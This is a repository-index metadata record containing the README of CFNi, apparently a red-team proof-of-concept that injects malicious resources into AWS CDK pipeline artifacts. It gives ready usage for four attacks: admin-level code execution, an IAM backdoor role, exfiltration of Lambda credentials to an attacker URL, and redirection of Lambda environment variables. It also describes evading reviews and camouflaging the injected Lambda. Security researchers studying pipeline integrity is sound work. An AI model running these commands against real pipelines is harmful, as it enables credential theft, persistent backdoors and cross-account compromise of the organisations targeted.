{"id":15396625,"url":"https://github.com/hupe1980/cfni","last_synced_at":"2026-04-28T20:32:52.017Z","repository":{"id":229564337,"uuid":"615514095","full_name":"hupe1980/cfni","owner":"hupe1980","description":"CFNi - Cloudformation injection","archived":false,"fork":false,"pushed_at":"2023-04-01T16:47:08.000Z","size":510,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-02-02T02:14:07.774Z","etag":null,"topics":["aws","cdk","cdk-pipelines","cloudformation","cloudsecurity","cybersecurity","penetration-testing","red-team"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hupe1980.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-03-17T21:54:43.000Z","updated_at":"2023-03-19T07:28:18.000Z","dependencies_parsed_at":null,"dependency_job_id":"2ad84580-084a-4b11-aa38-0d40ea01ac65","html_url":"https://github.com/hupe1980/cfni","commit_stats":null,"previous_names":["hupe1980/cfni"],"tags_count":6,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fcfni","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fcfni/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fcfni/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fcfni/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hupe1980","download_url":"https://codeload.github.com/hupe1980/cfni/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245944108,"owners_count":20697960,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aws","cdk","cdk-pipelines","cloudformation","cloudsecurity","cybersecurity","penetration-testing","red-team"],"created_at":"2024-10-01T15:34:24.959Z","updated_at":"2026-04-28T20:32:46.995Z","avatar_url":"https://github.com/hupe1980.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CFNi - Cloudformation injection\n![Build Status](https://github.com/hupe1980/cfni/workflows/build/badge.svg) \n[![Go Reference](https://pkg.go.dev/badge/github.com/hupe1980/cfni.svg)](https://pkg.go.dev/github.com/hupe1980/cfni)\n\u003e CFNi is a proof-of-concept to demonstrate an attack on the populare aws cdk pipeline. It takes advantage of the fact that between the \"Synth\" step and the use of the cloudformation templates and lambda assets some time passes (\"SelfMutate\") and no integrity check is performed by default. After receiving an event from s3, the lambda function injects the malicious code/resources into the generated files. SAST/DAST controls and pull request reviews are bypassed and other accounts can also be attacked if the pipeline supports crossaccount deployments.\n\n:warning: This is for educational purpose. Don't try it without permission!\n\n## IAM\nCFNi is designed to use a secondary account that you have full access to. The lambda is deployed there. This eliminates the need to have the required permissions in the target account. The credentials for this account should be specified with the `--attacker-profile` flag.\n\nThe `--bucket-profile` should have s3:PutBucketNotification permission to the targeted S3 bucket.\n\nThe `--s3-access-key-id`, `--s3-secret-access-key` and optionally `--s3-session-token` should have s3:GetObject and s3:PutObject permissions on the target S3 bucket. These credentials are hardcoded into the lambda during deployment and used to read the bucket files and inject the malicious code/resources.\n\nEverything can also only be done in the bucket account. To do this, the same profile must be specified for the `--attacker-profile` and `--bucket-profile` flags. If no access-key is specified, CFNi tries to give the LambaExecutionRole the required s3:GetObject and s3:PutObject permissions.\n\n## Bucket\nThe relevant bucket can be found in the build project (Synth) under artifacts upload location.\n\n![bucket](assets/artifacs_bucket.png)\n\n## Attacks\nThe proof-of-concept currently supports the following attacks:\n- [CFN Code Execution](#cfn-code-execution)\n- [IAM Role Backdoor](#iam-role-backdoor)\n- [Lamda Exfiltration](#lambda-exfiltration)\n- [Lamda Set Envs](#lambda-set-envs)\n\n### CFN Code Execution\nAdds a custom resource with admin permission to run custom code\n\n```\nUsage:\n  cfni cfn-code-execution [flags]\n\nExamples:\ncat \u003e input.js \u003c\u003c EOF\nasync function cfni(event, context) {\n\tconsole.log(event)\n\treturn {}\n}\nEOF\n\ncfni cfn-code-execution --attacker-profile ap --bucket-profile bp --bucket pipeline-bucket --s3-access-key-id AKIAXXX --s3-secret-access-key Ey123XXX -f input.js --runtime nodejs16.x\n\nFlags:\n  -b, --bucket string                 bucket name (required)\n      --custom-type string            custom type of custom resource (default \"CFNICustomResource\")\n      --environment strings           filter environments (default all environments)\n  -f, --filename string               filename of the code execution file\n  -h, --help                          help for cfn-code-execution\n      --locigal-custom-id string      logical id of custom resource (default \"CFNICustomResourceCE34F12B\")\n      --locigal-lambda-id string      logical id of lambda (default \"CFNILambdaFB14A34E\")\n      --locigal-role-id string        logical id of role (default \"CFNIRoleAF22D32D\")\n      --runtime string                runtime of the code execution\n      --s3-access-key-id string       s3 access key id\n      --s3-secret-access-key string   s3 secret access key\n      --s3-session-token string       s3 session token\n      --stack strings                 filter stacks (default all stacks)\n\nGlobal Flags:\n      --attacker-profile string   attacker AWS profile\n      --attacker-region string    attacker AWS region\n      --bucket-profile string     bucket AWS profile\n      --bucket-region string      bucket AWS region\n  -A, --user-agent string         user-agent to use for sdk calls (default \"cfni\")\n```\n\n\n### IAM Role Backdoor\nAdds a role with admin permissions.\n\n```\nUsage:\n  cfni iam-role-backdoor [flags]\n\nExamples:\ncfni iam-role-backdoor --attacker-profile ap --bucket-profile bp --bucket pipeline-bucket --s3-access-key-id AKIAXXX --s3-secret-access-key Ey123XXX\n\nFlags:\n  -b, --bucket string                 bucket name (required)  \n      --environment strings           filter environments (default all environments)\n  -h, --help                          help for iam-role-backdoor\n      --logical-id string             logical id of the backdoor role (default \"MaintenanceRoleBF21E41F\")\n  -p, --principal string              principal for backdoor role (default root principal of the attacker account)\n  -r, --role-name string              name of the backdoor role (default generated role-name)\n      --s3-access-key-id string       s3 access key id\n      --s3-secret-access-key string   s3 secret access key\n      --s3-session-token string       s3 session token\n      --stack strings                 filter stacks (default all stacks)\n\nGlobal Flags:\n      --attacker-profile string   attacker AWS profile\n      --attacker-region string    attacker AWS region\n      --bucket-profile string     bucket AWS profile\n      --bucket-region string      bucket AWS region\n  -A, --user-agent string         user-agent to use for sdk calls (default \"cfni\")\n```\n\n### Lambda Exfiltration\nInjects a script that executes a post request with the lambda's environment variables as the body. access-key-id, secret-access-key and session-token are included in the payload.\n\n```\nUsage:\n  cfni lambda-exfiltration [flags]\n\nExamples:\ncfni lambda-exfiltration --attacker-profile ap --bucket-profile bp --bucket pipeline-bucket --s3-access-key-id AKIAXXX --s3-secret-access-key Ey123XXX --url https://xxxyem3.oastify.com\n\nFlags:\n  -b, --bucket string                 bucket name (required)\n      --environment strings           filter environments (default all environments)\n  -h, --help                          help for lambda-exfiltration\n      --s3-access-key-id string       s3 access key id\n      --s3-secret-access-key string   s3 secret access key\n      --s3-session-token string       s3 session token\n      --stack strings                 filter stacks (default all stacks)\n  -u, --url string                    exfiltration url (required)\n\nGlobal Flags:\n      --attacker-profile string   attacker AWS profile\n      --attacker-region string    attacker AWS region\n      --bucket-profile string     bucket AWS profile\n      --bucket-region string      bucket AWS region\n  -A, --user-agent string         user-agent to use for sdk calls (default \"cfni\")\n```\n\n### Lambda Set Envs\nSets lambda environment variables.\n\n```\nUsage:\n  cfni lambda-set-envs [flags]\n\nExamples:\ncfni lambda-set-envs --attacker-profile ap --bucket-profile bp --bucket pipeline-bucket --s3-access-key-id AKIAXXX --s3-secret-access-key Ey123XXX --env API_URL=https://mitm.org\n\nFlags:\n  -b, --bucket string                 bucket name (required)\n      --env stringToString            lambda environment variable (required)\n      --environment strings           filter environments (default all environments)\n  -h, --help                          help for lambda-set-envs\n      --s3-access-key-id string       s3 access key id\n      --s3-secret-access-key string   s3 secret access key\n      --s3-session-token string       s3 session token\n      --stack strings                 filter stacks (default all stacks)\n\nGlobal Flags:\n      --attacker-profile string   attacker AWS profile\n      --attacker-region string    attacker AWS region\n      --bucket-profile string     bucket AWS profile\n      --bucket-region string      bucket AWS region\n  -A, --user-agent string         user-agent to use for sdk calls (default \"cfni\")\n```\n\n## Camouflage\nIf the lambda is deployed in the bucket account, it camouflages itself ;o)\n\n![camouflage](assets/camouflage.png)\n\n## License\n[MIT](LICENCE)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhupe1980%2Fcfni","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhupe1980%2Fcfni","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhupe1980%2Fcfni/lists"}